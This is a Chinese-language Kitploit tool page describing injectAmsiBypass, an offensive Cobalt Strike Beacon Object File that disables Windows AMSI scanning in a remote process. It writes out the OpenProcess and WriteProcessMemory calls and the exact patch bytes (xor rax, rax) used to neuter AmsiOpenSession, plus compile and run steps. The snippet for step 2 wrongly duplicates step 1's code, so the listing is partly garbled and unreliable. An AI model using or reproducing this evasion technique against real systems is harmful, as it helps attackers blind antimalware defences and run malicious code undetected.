injectAmsiBypass — Cobalt Strike BOF - 通过代码注入绕过远程进程中的AMSI。 | Kitploit

Cobalt Strike BOF - 注入AMSI绕过

Cobalt Strike Beacon对象文件(BOF)，通过代码注入绕过远程进程中的AMSI。

从CobaltStrike运行inject-amsiBypass BOF

它的作用是什么？

1. 使用提供的PID参数获取远程进程的句柄

hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)pid);

2. 将AMSI.DLL加载到Beacon的内存中，并获取AMSI.AmsiOpenSession的地址

hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)pid);

Beacon和目标进程都将拥有相同的符号地址。
如果远程进程中不存在AMSI.DLL，运行此操作可能导致目标进程崩溃。

3. 将AMSI绕过代码写入远程进程的内存

unsigned char amsibypass[] = { 0x48, 0x31, 0xC0 }; // xor rax, rax
BOOL success = KERNEL32$WriteProcessMemory(hProc, amsiOpenSessAddr, (PVOID)amsibypass, sizeof(amsibypass), &bytesWritten);

injectAmsiBypass

最受欢迎

方法 = AMSI.AmsiOpenSession

概念验证演示截图

之前 - Powershell.exe AMSI.AmsiOpenSession

之后 - Powershell.exe AMSI.AmsiOpenSession

使用x64 MinGW编译：

从Cobalt Strike Beacon控制台运行

待办事项列表

致谢/参考

Raphael Mudge - Beacon对象文件 - Luser演示

Cobalt Strike - Beacon对象文件

BOF代码参考

ajpc500/BOFs

trustedsec/CS-Situational-Awareness-BOF

Sektor7恶意软件开发基础课程

Offensive Security OSEP